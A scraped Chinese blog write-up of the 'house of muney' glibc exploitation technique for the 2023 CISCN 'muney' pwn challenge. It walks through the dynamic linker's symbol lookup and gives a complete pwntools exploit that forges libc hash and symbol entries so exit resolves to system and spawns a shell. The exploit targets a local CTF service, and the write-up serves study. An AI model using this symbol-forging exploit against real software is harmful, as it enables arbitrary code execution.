house_of_muney [2023CISCN]

news/2024/10/10 0:40:14/文章来源:https://www.cnblogs.com/CH13hh/p/18452565

house_of_muney 

首先介绍一下house of muney 这个利用原理:

在了解过_dl_runtime_resolve的前提下,当程序保护开了延迟绑定的时候,程序第一次调用相关函数的时候会执行下面的命令

push n
push ModuleID
jmp _dl_runtime_resolve

这里的n对应的是这个符号在rel.plt重定位表中的下标然后第二个MoudleID则一般是本程序的link_map结构体的地址,解析来就进入到了_dl_runtime_resolve函数 

我们来看看这个函数做了什么

/* This function is called through a special trampoline from the PLT the first time each PLT entry is called.  We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address.Future calls will bounce directly from the PLT to thefunction.  */DL_FIXUP_VALUE_TYPE
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGSELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endifstruct link_map *l, ElfW(Word) reloc_arg)
{const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);const PLTREL *const reloc= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];const ElfW(Sym) *refsym = sym;void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);lookup_t result;DL_FIXUP_VALUE_TYPE value;/* Sanity check that we're really looking at a PLT relocation.  */assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);/* Look up the target symbol.  If the normal lookup rules are notused don't look in the global scope.  */if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0){const struct r_found_version *version = NULL;if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL){const ElfW(Half) *vernum =(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;version = &l->l_versions[ndx];if (version->hash == 0)version = NULL;}/* We need to keep the scope around so do some locking.  This isnot necessary for objects which cannot be unloaded or whenwe are not using any threads (yet).  */int flags = DL_LOOKUP_ADD_DEPENDENCY;if (!RTLD_SINGLE_THREAD_P){THREAD_GSCOPE_SET_FLAG ();flags |= DL_LOOKUP_GSCOPE_LOCK;}#ifdef RTLD_ENABLE_FOREIGN_CALLRTLD_ENABLE_FOREIGN_CALL;
#endifresult = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);/* We are done with the global scope.  */if (!RTLD_SINGLE_THREAD_P)THREAD_GSCOPE_RESET_FLAG ();#ifdef RTLD_FINALIZE_FOREIGN_CALLRTLD_FINALIZE_FOREIGN_CALL;
#endif/* Currently result contains the base load address (or link map)of the object that defines sym.  Now add in the symboloffset.  */value = DL_FIXUP_MAKE_VALUE (result,SYMBOL_ADDRESS (result, sym, false));}else{/* We already found the symbol.  The module (and therefore its loadaddress) is also known.  */value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));result = l;}/* And now perhaps the relocation addend.  */value = elf_machine_plt_value (l, reloc, value);if (sym != NULL&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));/* Finally, fix up the plt itself.  */if (__glibc_unlikely (GLRO(dl_bind_not)))return value;return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

可以看见又继续调用_dl_lookup_symbol_x这个函数 ,它会开始在link_map寻找符号,实际上调用了do_lookup_x

* Inner part of the lookup functions.  We return a value > 0 if wefound the symbol, the value 0 if nothing is found and < 0 ifsomething bad happened.  */
static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,unsigned long int *old_hash, const ElfW(Sym) *ref,struct sym_val *result, struct r_scope_elem *scope, size_t i,const struct r_found_version *const version, int flags,struct link_map *skip, int type_class, struct link_map *undef_map)
{size_t n = scope->r_nlist;/* Make sure we read the value before proceeding.  Otherwise wemight use r_list pointing to the initial scope and r_nlist beingthe value after a resize.  That is the only path in dl-open.c notprotected by GSCOPE.  A read barrier here might be to expensive.  */__asm volatile ("" : "+r" (n), "+m" (scope->r_list));struct link_map **list = scope->r_list;do{const struct link_map *map = list[i]->l_real;/* Here come the extra test needed for `_dl_lookup_symbol_skip'.  */if (map == skip)continue;/* Don't search the executable when resolving a copy reloc.  */if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)continue;/* Do not look into objects which are going to be removed.  */if (map->l_removed)continue;/* Print some debugging info if wanted.  */if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))_dl_debug_printf ("symbol=%s;  lookup in file=%s [%lu]\n",undef_name, DSO_FILENAME (map->l_name),map->l_ns);/* If the hash table is empty there is nothing to do here.  */if (map->l_nbuckets == 0)continue;Elf_Symndx symidx;int num_versions = 0;const ElfW(Sym) *versioned_sym = NULL;/* The tables for this map.  */// 找到符号表和字符串表(当前link_map)const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);const ElfW(Sym) *sym;// 获取bitmaskconst ElfW(Addr) *bitmask = map->l_gnu_bitmask;if (__glibc_likely (bitmask != NULL)){// 获取bitmask_word,这里需要伪造ElfW(Addr) bitmask_word= bitmask[(new_hash / __ELF_NATIVE_CLASS)& map->l_gnu_bitmask_idxbits];unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)& (__ELF_NATIVE_CLASS - 1));if (__glibc_unlikely ((bitmask_word >> hashbit1)& (bitmask_word >> hashbit2) & 1)){// 获取bucket,这里需要伪造Elf32_Word bucket = map->l_gnu_buckets[new_hash% map->l_nbuckets];if (bucket != 0){// hasharr,这里也需要伪造对应的值const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];doif (((*hasharr ^ new_hash) >> 1) == 0){symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);sym = check_match (undef_name, ref, version, flags,type_class, &symtab[symidx], symidx,strtab, map, &versioned_sym,&num_versions);if (sym != NULL)goto found_it;}while ((*hasharr++ & 1u) == 0);}}//....}

这里是roderick师傅做了注释之后的代码,上面标注了我们需要伪造的值

  1. bitmask_word
  2. bucket
  3. hasharr

还有两个比较重要的值就是set_name 和set_value,前半部分是通过查找该函数符号和strtab之间的偏移得到的,不同的程序得到的不同,而set_vaule是通过相应的libc环境编译而来的的对于需求函数,这里也是通过调试获得,简而言之,如果控制了set_name 就可以正确解析到相应的函数名,控制了set_vaule就可以控制调用函数解析到需求函数的地址进而调用需求函数。

在2023年的CISCN有一道题目

muney

保护策略

ida逆向分析

是一个堆题,前提是需要实验http格式发送相应选项,让web手给说个形式

比如使用

def edit(idx,offset,content_length,content):payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+content

来定义edit函数,其余的以此类推

这题的漏洞主要在edit函数,只限制不能超过申请堆块大小,但是没有限制长度为负数,也是就可以修改到低地址处的内容,比如可以修改堆块size

此外这题的malloc函数给的范围在0xFFFFF以上及申请0x100000大小的堆块以上,那么意味着申请的堆块由mmp直接分配,那么会在libc上面mmp出一块内存

给的后门是exit(/bin/sh)

如果给exit解析成system即可拿到shell

这里就需要伪造libc里面的一系列上面提到的内容

这里给出调试脚本

from gt import *
con("amd64")p = process("./muney")
#p = remote("127.0.0.1","9999")def create(size,content_length,content):payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+contentreturn payloaddef edit(idx,offset,content_length,content):payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+contentreturn payloaddef delete(idx):payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16return payloaddef quit():payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16return payload
gdb.attach(p)
p.sendafter("HTTP_Parser> ",quit())
p.interactive()

 

这里需要源码级的调试,在事先导入源码目录

push n ...... 进入 _dl_runtime_resolve

继续步入进入_dl_fixup

在这里先空走一轮while循环,因为这里看的是第二次解析的地址

 

这里看一下bitmask_word 的内容

 

 

继续往后走,这里看一下bucket 的内容

 

然后看一下hasharr的内容

 

因为环境是20.04环境,我这里使用20.04虚拟机来找偏移

这里0x46a40是exit的set_vuale set_name需要找一下strtab和exit字符串的偏移

 

 

这里需要尝试,找到哪一个才是真正的偏移。然后需要找一下同环境下的system的set_vuale

写一个程序验证一下

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>int main(){
char *buff;
read(0,buff,0x20);
system("/bin/sh");
return 0;
}

需要开启延迟绑定,然后关闭pie保护

找到发现是0x52290

那么现在该有的都有,只需要找一下偏移即可

这里要注意,实际的偏移和输入的偏移相差0x1000,因为在起始地址时候减少了0x1000

所以这里要输入0x152b78,以此类推

 

EXP

from gt import *
con("amd64")#p = process("./muney")
p = remote("127.0.0.1","9999")def create(size,content_length,content):payload="""POST /create HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Size: """+str(size)+"""
Content-Length: """+str(content_length)+"""\n\r\n"""+contentreturn payloaddef edit(idx,offset,content_length,content):payload=b"""POST /edit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx).encode()+b"""
Offset: """+str(offset).encode()+b"""
Content-Length: """+str(content_length).encode()+b"""\n\r\n"""+contentreturn payloaddef delete(idx):payload="""POST /delete HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(idx)+"""
Content-Length: 16\n\r\n"""+"a"*16return payloaddef quit():payload="""POST /quit HTTP/1.1
Host: 127.0.0.1:8888
Accept-Encoding: gzip
Connection: close
Idx: """+str(0)+"""
Content-Length: 16\n\r\n"""+"a"*16return payloadp.sendafter("HTTP_Parser> ",create(0x150000,16,'a'*16))
p.sendafter("HTTP_Parser> ",edit(0,-8,3,b'\x02\x10\x17'))
#gdb.attach(p)p.sendafter("HTTP_Parser> ",delete(0))p.sendafter("HTTP_Parser> ",create(0x171002,16,'b'*16))p.sendafter("HTTP_Parser> ",edit(0,0x152b78,8,p64(0xf010028c0201130e)))#write data to bitmask_word
p.sendafter("HTTP_Parser> ",edit(0,0x152ca0,1,p8(0x86)))#write data to bucket
p.sendafter("HTTP_Parser> ",edit(0,0x153d6c,8,p64(0x7c967e3e7c93f2a0)))#write data to hasharr
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x8,3,b"\x90\x22\x05"))#write data to exit@st_valuep.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10,3,b"\xbd\xa1\x1a"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+4,1,b"\x12"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d18-0x10+6,1,b"\x0f"))#write data to exit@st_namep.sendafter("HTTP_Parser> ",quit())
p.interactive()

这里面有几个点需要注意,第一个是bitmask_word的内容做了一点改变,用看见的内容不行,用这个也许0xaaa101010210130e也就是后4位需要注意。

还有一个就是set_name这个后面4位是需要调试出来的,第四位和第六位程序里面里面得到

result

参考

https://www.cnblogs.com/LynneHuan/p/17822130.html

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/810865.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C#|.net core 基础 - 删除字符串最后一个字符的七大类N种实现方式

分享删除字符串最后一个字符的多种实现方法,包括字符串、StringBuilder、Array、Linq等方式,并进行性能测试。结果显示字符串方式性能最优,但了解多种方法有助于选择最合适的方法。今天想通过和大家分享如何删除字符串最后一个字符的N种实现方法,来回顾一些基础知识点。 01…

NET Core 基础 - 删除字符串最后一个字符的七大类N种实现方式

分享删除字符串最后一个字符的多种实现方法,包括字符串、StringBuilder、Array、Linq等方式,并进行性能测试。结果显示字符串方式性能最优,但了解多种方法有助于选择最合适的方法。今天想通过和大家分享如何删除字符串最后一个字符的N种实现方法,来回顾一些基础知识点。 01…

003、v3admin学习,修改全局配置如去掉水印等

1、v3admin打开之后的界面如下 2、修改一下全局通用设置 3、界面如下 4、把app.vue中的这一段注释掉 5、浏览器也就没有弹窗显示了。

在VMware中安装CentOS7(保姆级教程)

centos7下载地址:https://mirrors.aliyun.com/centos/7/isos/x86_64/1、打开“VMware Workstation“软件,选择”创建新的虚拟机 ![ 2、选择“典型”选项,然后下一步。3、选择“稍后安装操作系统”,点击下一步。4、客户机操作选择“Linux”,版本选择“CentOS 7 64位”,点击…

002、v3admin学习,设置npm的端口和ip

1、使用命令行npm run dev启动v3admin的时候,会有多个ip地址以及端口 2、在vite.config.ts中,修改host为false和port为1314 3、ctrl+c结束端口,并运行npm run dev来启动。可以看到只有一个 http://localhost:1314/ 端口启动了。 4、浏览器打开,可以正常显示。5、效果如下:…

001、v3admin学习,下载并这次启动运行v3admin

1、下载github,并放到自己的项目工程中2、确保直接电脑按照了node.js,输入cmd命令行看node,可以看到node版本是v20 3、在工程目录用命令行输入 npm update 4、在命令行继续输入 npm run dev5、可以正常登录了。 6、界面内容如下:

《花100块做个摸鱼小网站! 》第七篇—谁访问了我们的网站?

⭐️基础链接导航⭐️ 服务器 → ☁️ 阿里云活动地址 看样例 → 🐟 摸鱼小网站地址 学代码 → 💻 源码库地址一、前言 大家好呀,我是summo,最近发生了些事情(被裁员了,在找工作中)导致断更了,非常抱歉。刚被裁的时候还是有些难受,而且我还有房贷要还,有些压力,不过…

001、下载并运行

1、下载github,并放到自己的项目工程中 2、在工程目录用命令行输入 npm update 3、在命令行继续输入 npm run dev 4、可以正常登录了。

Day 3 2024年10月9日

1. 螺纹钢多单波段机会 准备介入5-3。 螺纹看好走出5波牛市黎明的曙光。

cf2009 Codeforces Round 971 (Div. 4)

A. Minimize! 签到题。计算\((c-a)+(b-c)\)的最小值,其实值固定的,等于\(b-a\)。 int a, b;void solve() {cin >> a >> b;cout << b - a << endl; }B. Osu!mania 签到题。给定一个4k下落式的网格,求#下落顺序。直接数组记录就好了。 int n; const i…

KMP循环节

KMP循环节 在icpc 2019 China Collegiate Programming Contest Qinhuangdao Onsite J. MUV LUV EXTRA由题易得,要求这个数的小数部分的\(S=a循环长度−b循环节的长度\),让这个S尽可能的大。 又因为对于循环长度我们可以用kmp算法来求出最小循环节,所以我们可以枚举循环长度去…

js学习 -2024/10/9

今天学习了js中的一些知识 DOM 通过document.get...函数获取元素对象 可以查阅h3school资料找对象的函数,操作对象,//根据id获取元素对象 // let id = document.getElementById(back); // id.src = "../img/02.png";//根据标签获取元素对象 var divss = document.get…